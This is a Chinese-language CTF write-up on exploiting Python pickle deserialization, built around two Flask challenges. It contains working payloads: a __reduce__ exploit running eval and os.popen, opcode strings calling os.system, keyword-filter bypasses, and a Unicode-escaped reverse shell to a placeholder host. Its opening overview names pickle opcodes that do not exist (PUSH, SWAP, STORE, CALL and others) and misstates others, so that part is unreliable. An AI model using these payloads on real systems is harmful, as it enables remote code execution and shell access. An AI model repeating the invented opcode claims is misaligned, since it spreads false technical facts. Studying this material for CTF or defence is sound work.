Pickle反序列化
pickle简介
-
与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
-
python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。
-
与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。
-
pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
-
其中这里
有的代码通常涉及pickle协议中一些底层、特殊或非常规的操作,它们超出了简单地"保存和恢复对象状态"的范畴-
直接操作栈和变量的底层指令
pickle 的 opcode 包含了一系列用于操作虚拟机栈(Stack)和内存变量的指令,这些指令在常规序列化中会被高层逻辑自动处理,用户无法直接触发:
- 栈操作指令 :如
PUSH、POP、DUP、SWAP等,用于手动控制栈的内容。 - 变量操作指令 :如
STORE(存储变量)、LOAD(加载变量)、DELETE(删除变量)等,可直接修改全局 / 局部变量,而常规序列化只会保存对象属性,不会主动修改变量。
- 栈操作指令 :如
-
执行任意代码的指令
pickle 包含
REDUCE、GLOBAL、INST等指令,配合特殊操作可执行任意 Python 代码,但常规序列化仅会调用对象的__reduce__等方法,不会主动构造恶意或非常规的代码执行逻辑:- 例如,通过
GLOBAL指令加载os.system,再通过CALL指令执行系统命令,这种操作无法通过序列化普通对象实现。
- 例如,通过
-
非常规对象或特殊结构的构造
对于一些没有明确 "状态" 的对象,或需要动态构造的特殊结构,常规序列化无法生成对应的 opcode:
- 函数 / 类的动态修改 :直接修改函数的
__code__属性,或动态创建类的属性,这类操作需要手动编写 opcode 实现。 - 循环引用的特殊处理:虽然 pickle 支持循环引用,但手动编写 opcode 可更灵活地控制引用的创建顺序,这是常规序列化无法做到的。
- 函数 / 类的动态修改 :直接修改函数的
-
pickle 协议的扩展或未公开指令
pickle 的不同协议版本包含一些未被高层 API 使用的指令,这些指令只能通过手动编写 opcode 调用:
- 例如,Python 3.x 中新增的
FRAME、MEMOIZE等指令,用于优化序列化效率,但常规序列化不会主动使用这些底层指令。
- 例如,Python 3.x 中新增的
-
object.reduce() 函数
- 在开发时,可以通过重写类的
object.__reduce__()函数,使之在被实例化时按照重写的方式进行。具体而言,python要求object.__reduce__()返回一个(callable, ([para1,para2...])[,...])的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。 - 在下文pickle的opcode中,
R的作用与object.__reduce__()关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实R正好对应object.__reduce__()函数,object.__reduce__()的返回值会作为R的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R的。
什么是opcode
kotlin
python的opcode是一组原始指令,用于在python解释器中执行字节码。每个opcode都是一个标识符,代表一种特定的操作或指令。
在python中,源代码首先被破译为字节码,然后由解释器逐条执行字节码执行字节码指令。这些指令以opcode的形式存储在字节码对象中,并由python解释器按顺序解释和执行。
每个opcode都有其特定的功能,用于执行不同的操作,例如变量加载、函数调用、数值运算、控制流程等。python提供了大量的opcode,以支持各种操作和语言特性。
INST i、OBJO、REDUCER都可以调用一个callable对象
pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。
python
import pickle
a={'1': 1, '2': 2}
print(f'# 原变量:{a!r}')
for i in range(6):
print(f'pickle版本{i}',pickle.dumps(a,protocol=i))

pickle3版本的opcode示例:
python
# 'abcd'
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'
# \x80:协议头声明 \x03:协议版本
# \x04\x00\x00\x00:数据长度:4
# abcd:数据
# q:储存栈顶的字符串长度:一个字节(即\x00)
# \x00:栈顶位置
# .:数据截止
pickletools
使用pickletools可以方便的将opcode转化为便于肉眼读取的形式
python
import pickletools
data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)

pickle exp的简单demo
这里举一道CTF例子
第十五届极客大挑战\]ez_python
```python
import base64
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"
@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0')
```
calc路由:使用 pickle.loads 尝试反序列化处理后的字节串。如果这个字节串不是合法的序列化对象,或者在反序列化过程中出现问题,可能会引发错误。
readFile路由:打开这个文件名对应的文件进行读取,并将文件内容返回给客户端。如果文件名不合法或者文件不存在,可能会引发错误。
```python
#exp
import os
import pickle
import base64
class A():
def __reduce__(self):
#return (eval,("__import__('o'+'s').popen('ls / | tee a').read()",))
return (eval,("__import__('o'+'s').popen('env | tee a').read()",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
```
除了执行命令之外还可以进行变量覆盖
```python
import pickle
key1 = b'321'
key2 = b'123'
class A(object):
def __reduce__(self):
return (exec,("key1=b'1'\nkey2=b'2'",))
a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)
```

## 基于opcode绕过字节码过滤
对于一些题会对传入的数据进行过滤
例如
1.`if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code`
2.`a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a:`
这个时候考虑用用到opcode
Python中的pickle更像一门编程语言,一种基于栈的虚拟机
### 如何手写opcode
* 在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 `__reduce__` 来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。
* 在这里可以体会到为何pickle**是一种语言**,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。
* 根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode。
这里列举了几个opcode,更多的可以去https://github.com/python/cpython/blob/master/Lib/pickle.py#L111
| opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
|--------|--------------------------------------------------------------------------|-----------------------------------|---------------------------------|----------|
| c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c\[module\]\\n\[instance\]\\n | 获得的对象入栈 | 无 |
| o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
| i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i\[module\]\\n\[callable\]\\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
| N | 实例化一个None | N | 获得的对象入栈 | 无 |
| S | 实例化一个字符串对象 | S'xxx'\\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 | 无 |
| V | 实例化一个UNICODE字符串对象 | Vxxx\\n | 获得的对象入栈 | 无 |
| I | 实例化一个int对象 | Ixxx\\n | 获得的对象入栈 | 无 |
| F | 实例化一个float对象 | Fx.x\\n | 获得的对象入栈 | 无 |
| R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
| . | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
| ( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
| t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| ) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
| l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| \] | 向栈中直接压入一个空列表 | \] | 空列表入栈 | 无 |
| d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| } | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
| p | 将栈顶对象储存至memo_n | pn\\n | 无 | 对象被储存 |
| g | 将memo_n的对象压栈 | gn\\n | 对象被压栈 | 无 |
| 0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
| b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
| s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
| u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
| a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
| e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
对于做题而言会opache改写就行了
INST `i`、OBJ `o`、REDUCE `R` 都可以调用一个 callable 对象
```python
RCE demo:
R:
b'''cos\nsystem\n(S'whoami'\ntR.'''
c:获取全局对象指令。格式为 c[模块]\n[对象]\n,这里是加载 os 模块的 system 函数。
(:压入 MARK 标记。
S'whoami':压入字符串 'whoami' 作为参数。
t:构建元组(将 MARK 到当前位置的元素打包成元组)。
R:调用指令(REDUCE),执行栈顶的可调用对象(os.system)并传入元组参数。
.:结束,返回结果。
i
b'''(S'whoami'\nios\nsystem\n.'''
(:压入 MARK 标记。
S'whoami':压入参数 'whoami'。
i:实例化指令(INST),需要栈顶是类 / 函数,其下是参数。
os\nsystem:加载 os.system 函数(作为可调用对象)。
.:结束,执行函数调用。
o
b'''(cos\nsystem\nS'whoami'\no.'''
o:调用指令(OBJECT),找到 MARK 标记,将 MARK 后的第一个元素作为可调用对象,后续作为参数执行调用。
无R,i,o os可过
b'''(cos\nsystem\nS'calc'\nos.'''
无R,i,o os 可过 + 关键词过滤
b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
V操作码是可以识别\u (unicode编码绕过)
特别是命令有特殊功能字符
```
这里有一个坑 \\n是换行如果用赛博厨子 会将 \\n 当作字符处理,易出错,所以要用python处理
```python
import base64
opcode=b''''''
print(base64.b64encode(opcode))
```
### 例题
```python
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f""
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
```
审计就不说,前面也就是去爆破一下key,通过flask-unsign去伪造一下admin的cookie
重点看pickle反序列化部分
```python
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
```
首先将opcode进行关键字替换,然后base64解码赋值给a;接着进行if判断Riob是否存在a中,然后进行pickle反序列化
这里虽然禁用操作符使得难以绕过,但是waf存在逻辑漏洞,也就是说pickle的对象是ser_data,而不是a,所以我们opcode中有os虽然会被替换为Os,但是我们还是能执行opcode
然后这里用到的是前面的无R,i,o os 可过 + 关键词过滤
```python
import pickletools
data=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
pickletools.dis(data)
```

然后我们打算进行反弹shell,反弹shell中需要用到i参数,而i参数会被检测,但是V操作码是可以识别\\u的所以我们可以把我们的代码进行Unicode编码然后放入payload中

`\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002f\u0078\u0078\u0078\u0078\u0020\u0030\u003e\u0026\u0031\u0027`
```python
import pickletools
data=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002f\u0078\u0078\u0078\u0078\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''
pickletools.dis(data)
```

可以看到虽然用了Unicode编码,但还是被解析了。
当然这里要改成自己服务器的ip和端口
构造完opcode之后那就可以去伪造cookie了,伪造部分就不说了,之后再/admin改包就可以反弹shell了。
### pker工具
补充一个工具